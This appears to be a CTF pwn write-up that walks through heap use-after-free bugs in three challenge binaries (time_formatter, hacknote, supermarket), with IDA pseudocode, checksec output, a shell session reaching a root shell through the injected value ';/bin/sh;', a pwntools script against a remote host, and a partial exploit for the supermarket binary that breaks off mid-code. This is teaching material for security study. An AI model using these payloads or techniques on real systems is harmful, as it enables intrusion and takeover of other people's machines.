signed __int64 sub_400F8F() { signed __int64 result; // rax char s; // [rsp+8h] [rbp-20h] unsigned __int64 v2; // [rsp+18h] [rbp-10h]
v2 = __readfsqword(0x28u); sub_400C7E(ptr); sub_400C7E(value); __printf_chk(1LL, "Are you sure you want to exit (y/N)? "); fflush(stdout); fgets(&s, 16, stdin); result = 0LL; if ( (s & 0xDF) == 89 ) { puts("OK, exiting."); result = 1LL; } return result; }
Other subfunctions like: “1) Set a time format.”, “2) Set a time.” and “3) Set a time zone.” please check it by yourselves in IDA.
Analysis
To sum up, sub function:
Do malloc() (in strdup()) for input and assign it to ptr, special characters are limited.
Receive input and save it to dword_602120.
Do malloc() for input and assign it to value, without character limit.
If ptr is not null, call system() to execute commands (consists of dword_602120 and ptr)
first free ptr, then free value, then ask if you exit.
In subfunction 4 the command is like "/bin/date -d @%d +'%s'", the ptr will replace %s, so we can input ';/bin/sh;' to do command injection, but the question is ' is filtered in subfunction 1.
In subfunction 3 our input to value will not be restricted. In subfunction 5 it just frees pointers but not exit or sets them null.
We can exploit UAF to input payload to value and call system() to execute it as ptr:
First malloc a ptr in subfunc 1
Second free it in subfunc 5 (first free ptr then free value)
Then malloc a value in subfunc 3 (using former ptr trunk)
$ ./time_formatter Welcome to Marys Unix Time Formatter! 1) Set a time format. 2) Set a time. 3) Set a time zone. 4) Print your time. 5) Exit. > 1 <-- first malloc Format: Format set. 1) Set a time format. 2) Set a time. 3) Set a time zone. 4) Print your time. 5) Exit. > 5 <-- free Are you sure you want to exit (y/N)? 1) Set a time format. 2) Set a time. 3) Set a time zone. 4) Print your time. 5) Exit. > 3 <-- second malloc Time zone: ';/bin/sh;' Time zone set. 1) Set a time format. 2) Set a time. 3) Set a time zone. 4) Print your time. 5) Exit. > 4 <-- execute command Your formatted time is: # id uid=0(root) gid=0(root) groups=0(root) #
Or write script (use new method – sendlineafter):
1 2 3 4 5 6 7 8 9 10 11
from pwn import * sh = process('./time_formatter') sh = remote('220.249.52.133', 47869) sh.sendlineafter('>','1') sh.sendline('') sh.sendlineafter('>','5') sh.sendline('') sh.sendlineafter('>','3') sh.sendline("';/bin/sh;'") sh.sendlineafter('>','4') sh.interactive()
$ file hacknote/* hacknote/hacknote: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a32de99816727a2ffa1fe5f4a324238b2d59a606, stripped hacknote/libc_32.so.6: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=d26149b8dc15c0c3ea8a5316583757f69b39e037, for GNU/Linux 2.6.32, stripped $ checksec hacknote/hacknote [*] '/root/hacknote/hacknote' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) $ ./hacknote/libc_32.so.6 GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al. Copyright (C) 2016 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 5.4.0 20160609. Available extensions: crypt add-on version 2.1 by Michael Glad and others GNU Libidn by Simon Josefsson Native POSIX Threads Library by Ulrich Drepper et al BIND-8.2.3-T5B libc ABIs: UNIQUE IFUNC For bug reporting instructions, please see: <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
It can only save 5 records, and every record contains two items: ptr[i] for puts(*(const char **)(a1 + 4)) function pointer, and *(ptr[i]+1) for saving contents. In sub_8048646 (1. Add note) it malloc() memory for ptr[i] and *(ptr[i]+1),but only reads the content to fill *(ptr[i]+1). In sub_80487D4 (2. Delete note) it just free two pointers but not set them as NULL, which leads to UAF. In sub_80488A5 (3. Print note) it executes (*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]); to puts contents, and here we can exploit.
The basic data structure is like (after the first add):
The first 4 bytes of ptr[i] is fixed assigned as sub_804862B – a special puts that can print content correctly. Our aim is to change its value via illegal method.
If we do 2 add operations, memory looks like:
Next delete index 0, then 1. As fastbin is LIFO (last in first out), and chunks with same size are in the same linked list, we can see 4 freed chunks in it like:
If then we add a 8 bytes size item, it will use 2 8-byte chunks in the fastbin, that would be:
Now we can edit content in old ptr[0]. But there is UAF in delete, so ptr[0] can also be called, which lets us execute our target function.
Since it has no system, we need to leak libc for it, then we can calcute libc base address and use shellcode to get shell.
Exploit
Since we replace sub_804862B in ptr[i] as system address, but we execute (*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]); so we add ; or || to make sure sh can be executed.
$ file supermarket supermarket: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a1765fd11fcba56dc1bb4342bfabbd198d06df57, stripped $ checksec supermarket [*] '/root/supermarket' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) $ ./libc.so.6 GNU C Library (Ubuntu GLIBC 2.23-0ubuntu10) stable release version 2.23, by Roland McGrath et al. Copyright (C) 2016 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 5.4.0 20160609. Available extensions: crypt add-on version 2.1 by Michael Glad and others GNU Libidn by Simon Josefsson Native POSIX Threads Library by Ulrich Drepper et al BIND-8.2.3-T5B libc ABIs: UNIQUE IFUNC For bug reporting instructions, please see: <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
Pseudocode: It is similar to note-service2, and the entry is changed to:
The realloc first see whether memory is enough to expand str to be a bigger chunck. If it is enough, expand the space and return it; if not enough, allocate space according to newsize and copy original data to it, then release original memory (automatically, no need to free) and return the new address.
Clearly supermarket did not store new address and assign it back to description, pointer still points to the old address, still old size. But it was released, which means it can be allocated to other pointers. However we can also edit description to manipulate the newly allocated content (UAF).
As we got libc.so.6, we can leak the libc base address to get shell. The function list gives us opportunity to print description, we can overwrite it as some function GOT item and use list to leak its address.
Here is our plan:
Add a commodity (commodity 0)
Add another one (prevent from chunck merging)
Edit commodity 0’s description to release it and allocate new space. If commodity 1 and description 1 do not exist, it will just expand old description 0 instead of allocate a new memory.
Add one more commodity (commodity 2). Now if we edit description 0, we are editing commodity 2.
Edit description 0 to overwrite description pointer in commodity 2 as some function’s GOT item, and use list commodities to leak address.
Note: Pay attention to chunck size. The description 0 we released should be unsorted bin instead of fastbin. Because in fastbin it only allocates chunck with same size, while in Change the description of a commodity the last byte will be set 0. In commodity the last part is char *description and it is where I write function’s GOT item, so it cannot be 0. The chuncks in fastbin are between 0x20 and 0x80 bytes, so description 0 should be larger.
add('commodity 0','1',0x80,'description 0') add('commodity 1','2',0x20,'description 1') change('commodity 0',0x90,'') # must using '' instead of some string, # because `description 0` has been released (freed) , # and anything you write will overwrite `fd` and `bk` in it. add('commodity 2','3',0x80,'description 2')